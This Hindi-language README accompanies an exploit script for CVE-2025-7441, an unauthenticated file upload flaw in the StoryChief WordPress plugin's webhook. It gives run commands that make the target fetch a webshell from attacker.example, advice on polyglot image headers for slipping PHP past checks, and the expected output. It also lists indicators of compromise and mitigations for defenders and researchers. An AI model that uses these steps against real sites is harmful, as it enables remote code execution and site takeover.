CVE-2025-7441
StoryChief <= 1.0.42 - बिना प्रमाणीकरण के मनमाना फ़ाइल अपलोड
🚨 StoryChief <= 1.0.42 — बिना प्रमाणीकरण के मनमाना फ़ाइल अपलोड (CVE-2025-7441)
ℹ️ सारांश
StoryChief (वर्डप्रेस प्लगिन) संस्करण 1.0.42 तक, REST एंडपॉइंट /wp-json/storychief/webhook के माध्यम से एक गंभीर बिना प्रमाणीकरण वाली मनमानी फ़ाइल अपलोड भेद्यता उजागर करता है। एक हमलावर प्लगिन को किसी हमलावर-नियंत्रित दूरस्थ संसाधन (उदाहरण के लिए, एक वेबशेल) को साइट की अपलोड निर्देशिका में लाने और संग्रहीत करने के लिए प्रेरित कर सकता है, जिससे कई डिफ़ॉल्ट वर्डप्रेस परिनियोजनों में रिमोट कोड निष्पादन संभव हो जाता है।
- CVE: CVE-2025-7441
- CVSS: 9.8 (क्रिटिकल)
💥 प्रभाव
- wp-content/uploads/YYYY/MM/ पर दूरस्थ बिना प्रमाणीकरण फ़ाइल अपलोड।
- जब अपलोड की गई फ़ाइल निष्पादन योग्य हो (जैसे PHP), तो रिमोट कोड निष्पादन की संभावना।
- जब वर्डप्रेस को दस्तावेज़ रूट के अंतर्गत अपलोड की गई PHP निष्पादित करने के लिए कॉन्फ़िगर किया गया हो, तो पूर्ण साइट समझौता संभव है।
🧩 भेद्यता का मूल कारण
प्लगिन एक आने वाले JSON पेलोड (प्रकाशन इवेंट) को स्वीकार करता है जिसमें featured_image -> data -> sizes -> full फ़ील्ड किसी मनमाने URL की ओर इंगित करता है। StoryChief पर्याप्त फ़ाइल प्रकार/सामग्री सत्यापन नहीं करता है या URL स्रोत को प्रतिबंधित नहीं करता है, जिससे प्लगिन दूरस्थ संसाधन को लाकर साइट की अपलोड निर्देशिका में सहेज सकता है। निष्पादन योग्य कोड वाली फ़ाइलों को संग्रहीत करने से रोकने के लिए पर्याप्त सत्यापन नहीं है।
🛠️ एक्सप्लॉइट स्क्रिप्ट — यह क्या करती है (भेद्यता से मानचित्रण)
यह अनुभाग एक्सप्लॉइट स्क्रिप्ट (अलग से प्रदान की गई) की उच्च-स्तरीय व्याख्या करता है और प्रत्येक महत्वपूर्ण व्यवहार को अंतर्निहित भेद्यता से मैप करता है।
- CLI तर्क पार्सिंग — लक्ष्य URL (-u/--url), रिमोट शेल URL (-shell), वैकल्पिक HMAC कुंजी, हेडर, प्रॉक्सी/टाइमआउट/रीट्राई फ़्लैग, डीबग और प्रिंट-ओनली विकल्प।
- लक्ष्य सामान्यीकरण — साइट रूट दिए जाने पर /wp-json/storychief/webhook जोड़ता है।
- शेल URL सत्यापन — सत्यापित करता है कि दूरस्थ URL पहुंच योग्य है (HEAD/GET या curl)।
- फ़ाइलनाम निष्कर्षण — अंतिम अपलोड फ़ाइलनाम का अनुमान लगाने के लिए दूरस्थ URL के बेसनाम का उपयोग करता है।
- पेलोड निर्माण — हमलावर-नियंत्रित URL को data.featured_image.data.sizes.full में रखता है ताकि प्लगिन फ़ाइल को लाने और संग्रहीत करने के लिए बाध्य हो।
- HMAC हस्ताक्षर (वैकल्पिक) — वैकल्पिक हेक्स कुंजी का उपयोग करके meta.mac (HMAC-SHA256) की गणना करता है; कुछ सर्वर इसे अनदेखा कर सकते हैं या आवश्यक मान सकते हैं।
- डिलीवरी — रीट्राई/बैकऑफ़ के साथ requests या curl फ़ॉलबैक का उपयोग करता है, कस्टम हेडर, प्रॉक्सी और --no-verify का समर्थन करता है।
- प्रतिक्रिया हैंडलिंग — सफलता का पता लगाने के लिए permalink/id कुंजियों के लिए JSON प्रतिक्रियाओं को पार्स करता है; अन्यथा विफलता की रिपोर्ट करता है।
- आउटपुट — सफलता पर अपेक्षित अपलोड पथ प्रिंट करता है: wp-content/uploads/YYYY/MM/।
🖼️ शेल फ़ाइल आवश्यकताएँ (महत्वपूर्ण)
.php दूरस्थ फ़ाइल (उदाहरण के लिए: https://attacker.example/shell.php) का उपयोग करते समय, फ़ाइल में एक मान्य इमेज हेडर (मैजिक बाइट्स) शामिल होना चाहिए ताकि प्लगिन या इमेज-प्रोसेसिंग कोड इसे एक इमेज के रूप में स्वीकार/मान ले। मुख्य बिंदु:
- पॉलीग्लॉट दृष्टिकोण का उपयोग करें: फ़ाइल की शुरुआत मान्य इमेज मैजिक बाइट्स (जैसे, JPEG, PNG, या GIF) से होनी चाहिए ताकि सामान्य जाँचें और इमेज हैंडलर इसे स्वीकार करें, जबकि इसमें PHP पेलोड भी ऐसे अनुभाग में हो जो डिस्क पर शब्दशः बना रहे।
- सामान्य इमेज मैजिक बाइट्स:
- JPEG: 0xFF 0xD8 0xFF
- PNG: 0x89 0x50 0x4E 0x47
- GIF: ASCII "GIF89a" या "GIF87a"
- केवल फ़ाइलनाम/एक्सटेंशन पर निर्भर न रहें। कई प्लगिन फ़ाइल सामग्री की जाँच करते हैं या लाइब्रेरी (GD, ImageMagick) का उपयोग करते हैं जो इमेज अखंडता को सत्यापित करती हैं।
- पर्यावरण-निर्भर: कुछ सर्वर इमेज को आगे सत्यापित या पुनः एन्कोड करेंगे, जिससे इंजेक्ट किया गया कोड हट सकता है। पहले एक अधिकृत प्रयोगशाला में परीक्षण करें।
- नैतिक अनुस्मारक: यहाँ कार्यशील वेबशेल कोड प्रकाशित न करें। ऐसी फ़ाइलें केवल अधिकृत वातावरण में बनाएं और परीक्षण करें।
▶️ कैसे चलाएँ (उदाहरण)
प्लेसहोल्डर्स को अधिकृत लक्ष्यों से बदलें। नीचे दिए गए सभी उदाहरण .php रिमोट शेल URL का उपयोग करते हैं।
python3 CVE-2025-7441.py -u https://target.example -shell https://attacker.example/shell.php
- स्पष्ट वेबहुक पथ और डीबग के साथ:
python3 CVE-2025-7441.py -u https://target.example/wp-json/storychief/webhook -shell https://attacker.example/shell.php --debug
- requests के बजाय curl का उपयोग करें:
python3 CVE-2025-7441.py -u https://target.example -shell https://attacker.example/shell.php --use-curl
- केवल पेलोड प्रिंट करें (भेजें नहीं):
python3 CVE-2025-7441.py -u https://target.example -shell https://attacker.example/shell.php --print-only
महत्वपूर्ण फ़्लैग:
- --no-verify: TLS सत्यापन छोड़ें (सावधानी से उपयोग करें)।
- --proxy: प्रॉक्सी के माध्यम से अनुरोध रूट करें।
- --header "Key: Value": कस्टम हेडर जोड़ें।
📤 अपेक्षित आउटपुट
- सफल रन:
- Uploaded: wp-content/uploads/2025/10/shell.php
- डीबग उदाहरण:
- [DEBUG] shell HEAD status: 200
- [DEBUG] post status: 200
- [DEBUG] curl cmd: curl -s -X POST https://target... -H Content-Type: application/json -d '{"meta":...}'
- विफलता संदेश:
- "[-] Error: shell URL is not reachable (not HTTP 200)"
- "[-] Error: request failed"
- "[-] Error: upload failed or endpoint returned non-JSON/HTML"
🔎 पहचान और समझौते के संकेतक (IoC)
- अज्ञात IP से /wp-json/storychief/webhook पर अप्रत्याशित POST अनुरोध।
- wp-content/uploads/// में एम्बेडेड कोड वाले PHP एक्सटेंशन या इमेज एक्सटेंशन वाली नई फ़ाइलें।
- वेबसर्वर लॉग जो हमलावर-नियंत्रित डोमेन से बाहरी GET और उसके बाद अपलोड की गई फ़ाइलों तक पहुंच दिखाते हैं।
- संदिग्ध इमेज फ़ाइलें जिनमें जोड़ी गई या एम्बेडेड गैर-इमेज सामग्री हो।
🛡️ शमन और उपचार
अल्पावधि:
- उपलब्ध होते ही StoryChief को तुरंत पैच किए गए संस्करण में अपग्रेड करें।
- WAF या सर्वर नियमों के माध्यम से /wp-json/storychief/webhook को ब्लॉक या प्रतिबंधित करें।
- अविश्वसनीय डोमेन के लिए सर्वर आउटबाउंड फ़ेच या ईग्रेस प्रतिबंधित करें।
डेवलपर मार्गदर्शन:
- किसी भी दूरस्थ फ़ेच के बाद फ़ाइल प्रकारों और सामग्री को सत्यापित करें; सुरक्षित पार्सर का उपयोग करके इमेज सत्यापित करें और अमान्य फ़ाइलों को अस्वीकार करें।
- सर्वर-साइड डाउनलोड या फ़ाइल निर्माण का कारण बनने वाले वेबहुक के लिए प्रमाणीकरण आवश्यक करें।
- सुनिश्चित करें कि HMAC/हस्ताक्षर सत्यापन लागू और प्रवर्तित हो।
- अपलोड की गई सामग्री को वेबरूट के बाहर संग्रहीत करें या wp-content/uploads में अपलोड की गई फ़ाइलों का निष्पादन अक्षम करें (वेब सर्वर नियम)।
⚠️ सीमाएँ और चेतावनियाँ
- एक्सप्लॉइट की सफलता सर्वर कॉन्फ़िगरेशन, इमेज-प्रोसेसिंग लाइब्रेरी और वेबसर्वर निष्पादन नीतियों पर निर्भर करती है।
- जो सर्वर इमेज को पुनः संसाधित या पुनः एन्कोड करते हैं, वे इंजेक्ट किए गए पेलोड को हटा सकते हैं।
- यदि प्लगिन हस्ताक्षर सत्यापित करता है, तो गलत mac प्रदान करने से अस्वीकृति हो सकती है।
🤝 जिम्मेदार उपयोग
यह दस्तावेज़ रक्षकों और अधिकृत परीक्षकों के लिए है। इन तकनीकों का उपयोग उन प्रणालियों के विरुद्ध न करें जिनके स्वामी आप नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति आपके पास नहीं है। अनधिकृत शोषण अवैध और अनैतिक है।
यदि आप किसी विक्रेता या साइट स्वामी को समस्या की रिपोर्ट कर रहे हैं, तो पुनरुत्पादन विवरण, सुरक्षित उपचार चरण और सुझाए गए सुधार शामिल करें।
📚 संदर्भ और श्रेय
- रिपोर्ट और एक्सप्लॉइट स्क्रिप्ट: Nxploited (Khaled Alenazi) — स्क्रिप्ट फ़ाइलनाम: CVE-2025-7441.py (अलग से प्रदान की गई)
- CVE: CVE-2025-7441
- CVSS: 9.8